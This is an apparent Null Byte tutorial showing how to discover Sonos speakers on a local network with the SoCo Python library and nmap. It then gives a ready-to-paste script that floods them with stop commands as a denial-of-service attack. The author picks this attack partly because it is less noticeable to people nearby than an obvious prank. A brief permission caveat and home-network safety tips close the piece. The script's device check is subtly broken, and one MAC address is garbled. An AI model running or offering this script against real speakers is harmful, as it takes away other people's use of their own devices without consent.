How To: Take Control of Sonos IoT Devices with Python

Take Control of Sonos IoT Devices with Python

Many popular IoT devices have terrible security. For instance, a hacker who's on the same Wi-Fi network as a Sonos speaker can assume direct control over the device's behavior. If an IoT device doesn't secure the messages used to control it over a network, it's easy for somebody to write a few Python scripts to make it do whatever they want.

Why IoT Devices Aren't Always Secure

Internet of things devices are low-cost, internet-connected pieces of hardware which often straddle the line between a great idea and completely unnecessary. The trend of putting a Wi-Fi card in objects which are made only marginally more useful, if at all, by connecting them to the internet, means that many different manufacturers are baking in their own version of security into these devices.

Many of these Wi-Fi-enabled products, like light bulbs, thermostats, and speakers, have become mainstream products, trickling down to reach even the least tech-savvy of users. Because of how widespread the adoption of IoT devices has been, the belief among IoT device manufacturers is that their gear must be, above all, easy to use, which means lax security.

The majority of IoT devices use poorly secured APIs that assume that if you are allowed on the same local Wi-Fi network as the device, you must have permission to be interacting with it. As a result, many IoT devices allow anyone on the local Wi-Fi network to control them with the right commands, without ever asking a user for a password or login of any kind.

SoCo, SoCos & API Libraries for IoT Devices

Some of the most popular types of IoT devices are Sonos connected speakers, which allow anyone on the local network to control them through a mobile or desktop application. Because of how widespread and easy-to-control Sonos speakers are, they make a perfect example to examine how we can influence them.

Unlike mobile applications communicating with remote servers, running the Sonos app on your phone or desktop sends commands directly to the Sonos on your home network. Because these commands can be sent by anyone, not just the Sonos app, we can make application calls from a Python program if we know the API that the Sonos device uses.

Luckily for hackers, the API for many standard IoT devices are well known and documented unofficially. The Sonos API has even been turned into a library for Python! The SoCo and SoCos libraries allow a Python programmer to discover and issue commands to Sonos devices on a local network, either via a command-line interface or via a Python script written in an IDE.

To show how this works, we'll analyze the way Sonos devices can be controlled o build a denial-of-service script to disable any Sonos system on the network.

Designing Your Own Behaviors with Python

Using the SoCo (Sonos Controller) library for Python, we can start to look at what kind of behaviors we would want to script in an IoT device. While we could change the song repeatedly to a classic anthem of intense sensual power like "Never Gonna Give You Up," this behavior would immediately tip off everyone nearby that someone was messing with the speaker. Instead, reviewing the available commands to us, it seems like a denial-of-service attack would be trivially easy to perform.

A denial-of-service attack aims to simply break the way a device usually works to deny other people the ability to use it. In a Wi-Fi DoS attack, we would kick everyone off the network repeatedly to prevent anyone from using the internet. In this attack, we'll be locating any Sonos devices on the network, and then sending them the "Stop playing" command over and over, making it impossible to use the Sonos speaker from the normal application.

What You'll Need

To get started, you'll need a Sonos device on your network that you have permission to connect to. While the point of this article is that simply being connected to the same network as the device gives you permission to mess with it, doing so could get you in trouble if the owner doesn't approve of what you're doing.

Next, you'll need a Python IDE to write your code. IDEs are helpful because they let us work on our code in an optimized environment and give us a lot of feedback about what's happening with our code along the way. I recommend PyCharm, especially if you're a student, as they give free licenses of their professional product to students.

Once you've set up PyCharm, make sure your computer has Python installed. The best way to do this is to go to a terminal window, type python3, and press return. If you get a command prompt, you have Python3, and you're ready to begin. If you don't, you may need to download Python3 before continuing from the official website.

Step 1: Start a New Python Project

Once you have PyCharm download, open the file, and follow the installation steps to set it up. If you already have it set up, just open the PyCharm application. The first time you open PyCharm, you should see a screen like this:

Click "Create New Project," then name the project something memorable if you want. Click on "Create" to open a new project window.

Within the new project window, we'll need to start a new Python file. Right-click on the project screen on the left side, then select the "New" drop-down menu. From that menu, select "Python File" to create a blank Python file. Name it something you'll remember.

There we go! We should now have a Python file open and ready to run. To make sure your Python is working, you can go ahead and throw a simple script into it. Paste the following into the text editor, right-click in the Project area, then click "Run."

for i in range (20):
    print("It works!")

It should produce a result like the one below.

If you see the script working, you're ready to move on to installing the SoCo library.

Step 2: Install the SoCos Library

There are two different ways of controlling a Sonos device on the network. The first we'll explore is SoCos, which is the command-line version of SoCo. To install SoCos, go to a terminal window, and type the following.

~# pip install socos

Collecting socos
  Downloading https://files.pythonhosted.org/packages/74/0e/4ebdb27435fd23b105f01e2b9b7b42050cd20e1d0e59d02e7ac8a3c8e0df/socos-0.2-py2.py3-none-any.whl
Collecting soco==0.11.1
  Downloading https://files.pythonhosted.org/packages/8e/01/34d3e9577cf6ef0bbcb7cdc44140f0e672dae4a5e11d45d7692f3f6ab979/soco-0.11.1-py2.py3-none-any.whl (81kB)
     |████████████████████████████████| 81kB 584kB/s
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from soco==0.11.1->socos) (2.21.0)
Installing collected packages: soco, socos
Successfully installed soco-0.11.1 socos-0.2
WARNING: You are using pip version 19.3.1; however, version 20.0.2 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.

This should install the command-line version of Socos. To use it, go ahead and run socos in your terminal window. When in the socos tool, type help to see what's available.

~# socos
socos> help

Available commands:
 * list         List available devices
 * partymode    Put all the speakers in the same group, a.k.a Party Mode.
 * info         Information about a speaker
 * play         Start playing
 * pause        Pause
 * stop         Stop
 * next         Play the next track
 * previous     Play the previous track
 * mode         Change or show the play mode of a device
 * current      Show the current track
 * queue        Show the current queue
 * remove       Remove track from queue by index
 * volume       Change or show the volume of a device
 * bass         Change or show the bass value of a device
 * treble       Change or show the treble value of a device
 * state        Get the current state of a device / group
 * tracks       Public convenience method for `_search_and_play`
 * albums       Public convenience method for `_search_and_play`
 * artists      Public convenience method for `_search_and_play`
 * playlists    Public convenience method for `_search_and_play`
 * sonos_playlists Public convenience method for `_search_and_play`
 * exit         Exit socos
 * set          Set the current speaker for the shell session by ip or speaker
 * unset        Resets the current speaker for the shell session
 * help         Print a list of commands with short description

Above, we can see that we have commands available for locating devices on the network, playing them, stopping them, and doing a variety of other useful things from the command line. If simply controlling your Sonos from the command line is what interests you, then you can stop here and play around with SoCos for a while before moving on.

For our purposes, we'll move on to installing SoCo in PyCharm so that we can start scripting behaviors, rather than relying on a command prompt.

Step 3: Install the SoCo Library

In PyCharm, look at the bottom of the window to find the "Terminal" icon at the bottom. Click it, and it will open up a terminal prompt in the bottom of you PyCharm screen, allowing you to install libraries for PyCharm to use.

Once this window is open, you can type pip install soco to install the SoCo library to PyCharm. You can type the same command in a system terminal window to install the library to your system overall.

~# pip install soco

Requirement already satisfied: soco in /Users/skickar/venv/lib/python3.6/site-packages
Requirement already satisfied: xmltodict in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: requests in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: idna<2.8,>=2.5 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: urllib3<1.24,>=1.21.1 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: certifi>=2017.4.17 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
Requirement already satisfied: chardet<3.1.0,>=3.0.2 in /Users/skickar/venv/lib/python3.6/site-packages (from soco)
You are using pip version 9.0.1, however version 18.1 is available
You should consider upgrading via the 'pip install --upgrade pip' command

Once PyCharm confirms that SoCo is installed, we can get started writing our first script for the Sonos!

Step 4: Locate a Device on the Network

Now that we have SoCo set up in PyCharm, let's write the first part of our script. To learn about the way SoCo can interact with Sonos speakers, we can refer to the documentation page for the project.

In the documentation, we see that there are a few commands for discovering Sonos devices on the network. The most useful one is to grab all Sonos devices using the soco.discover() function. The function will put the information needed to control the Sonos device into a variable called "devices."

>>> import soco
>>> devices = soco.discover()
>>> devices
set(SoCo("192.168.0.10"), SoCo("192.168.0.30"), SoCo("192.168.0.17"))
>>> device = devices.pop()
>>> device
SoCo("192.168.0.16")

Now that we can target any Sonos devices on the network, let's try an API call.

Step 5: Try Out an API Call

Next, we'll actually get the Sonos device to do something using our Python code. In PyCharm, let's make any Sonos devices we've detected do something. Referring to the documentation, there are a number of things we can do.

The normal play, pause and stop functionality is provided with similarly named methods (play(), pause() and stop()) on the SoCo instance and the current state is included in the output of get_current_transport_info():

For our purposes, we'll be using the stop() function. By repeating this function directed at all Sonos devices we detect, we'll essentially be creating a denial-of-service attack.

Step 6: Write a Python Script

Now, to create our Python code, we'll need to import the SoCo library. Next, we'll need to detect any Sonos devices on the network and dump them into a variable called "device."

import soco
device = soco.discovery.any_soco()

Next, we'll need to test to see if we got a result, and use a while loop to define what to do. We'll check to see if the variable "device" contains anything. If it does, we'll send the stop command. If it's empty, we'll say "No device found."

while len(str(device)) != 0:
    print("Denial of Service Attack in progress on: ", device)
    device.stop()
else:
    print("No device found.")

This simple code should do everything we need, so the only thing we need to do next is test it out, and see if we can connect to and control a Sonos device. Below is the 7 lines together that you can easily copy and paste.

import soco
device = soco.discovery.any_soco()
while len(str(device)) != 0:
    print("Denial of Service Attack in progress on: ", device)
    device.stop()
else:
    print("No device found.")

Step 7: Find Sonos Devices with Ports Open

To discover a Sonos device outside of SoCos, we can run an Nmap scan with the following ports specified to search the network. Sonos devices will have ports 1400, 1420, and 1443 open, so to detect them, we'll scan for these.

You'll need to find the IP address range for your network, which you can do by taking your IP address and typing it after the command ipcalc in a terminal window.

~# ipcalc 172.16.42.61

Address:   172.16.42.61         10101100.00010000.00101010. 00111101
Netmask:   255.255.255.0 = 24   11111111.11111111.11111111. 00000000
Wildcard:  0.0.0.255            00000000.00000000.00000000. 11111111
=>
Network:   172.16.42.0/24       10101100.00010000.00101010. 00000000
HostMin:   172.16.42.1          10101100.00010000.00101010. 00000001
HostMax:   172.16.42.254        10101100.00010000.00101010. 11111110
Broadcast: 172.16.42.255        10101100.00010000.00101010. 11111111
Hosts/Net: 254                   Class B, Private Internet

Once you know your network range, you can run the following command to scan for Sonos devices on the same network.

~# nmap -p 1400, 1420, 1443 172.16.42.0/24

If you see devices that say these ports are open, then you should be ready to continue to the next step. However, there might be a lot of devices with those open ports from different manufacturers, but you can whittle the results down to just Sonos devices using the grep command. Make sure Sonos is capitalized as that's how it will likely be listed on the scan.

~# nmap -p 1400, 1420, 1443 172.16.42.0/24 | grep 'Sonos'

MAC Address: 94:9F:3E:f$:04:3C (Sonos)
MAC Address: 94:9F:3E:F5:96:0A (Sonos)

Step 8: Assume Direct Control of the Device

Back in PyCharm, it's time to try our Python script. Press the green play button in the top menu to run our Python script. If nothing happens, right-click the project window, select "Run," then the name of your project. Sometimes, PyCharm will try to run the wrong project, so make sure it's the right one.

If the script succeeds, you should hear an immediate stop to any music playing and see an output like the one below stating the IP address of the Sonos device being affected.

Other users will not be able to regain control of the device from the mobile or desktop app due to the intensity of the stop commands being sent to the device. Until you stop the loop, the device will continue to stop any playback, rendering the Sonos useless. This sort of attack can be modified to perform any creative action you could want, even doing things like changing the song when a specific device joins the network.

Keeping Your IoT Devices Safe

It's important to remember that IoT devices are increasingly designed for convenience, not security. This can be frustrating for anyone wanting to keep their devices safe, but there are a few ways you can still take device security into your own hands.

Be careful who you give access to your Wi-Fi network. This gives them access to every device on your network, some of which may not have the best security set up. You should also never set up IoT devices on an open network.

Instead, consider setting up a guest network that does not allow devices to connect. Restricting guests to their own subnet on a Wi-Fi network prevents them from communicating with anything else on the network, eliminating the problem of guests on the Wi-Fi interacting with the Sonos.

In general, you should be careful when connecting new devices to a network before you fully understand how they work. Because most IoT devices don't check too hard to see who is controlling them, they're frequently a target of malware and other types of abuse. You can do your part by making sure to connect IoT devices in a way that doesn't allow random outsiders to configure or access them.

I hope you enjoyed this guide to controlling IoT devices with Python API calls! If you have any questions about this tutorial on IoT security or if you have a comment, feel free to ask it below or reach out to me on Twitter @KodyKinzie.

Just updated your iPhone? You'll find new emoji, enhanced security, podcast transcripts, Apple Cash virtual numbers, and other useful features. There are even new additions hidden within Safari. Find out what's new and changed on your iPhone with the iOS 17.4 update.

Cover photo and screenshots by Kody/Null Byte

1 Comment

Hmmm... interesting. I wonder if this method could be applied to lets say, Cisco IP Phones? ;)

Share Your Thoughts

  • Hot
  • Latest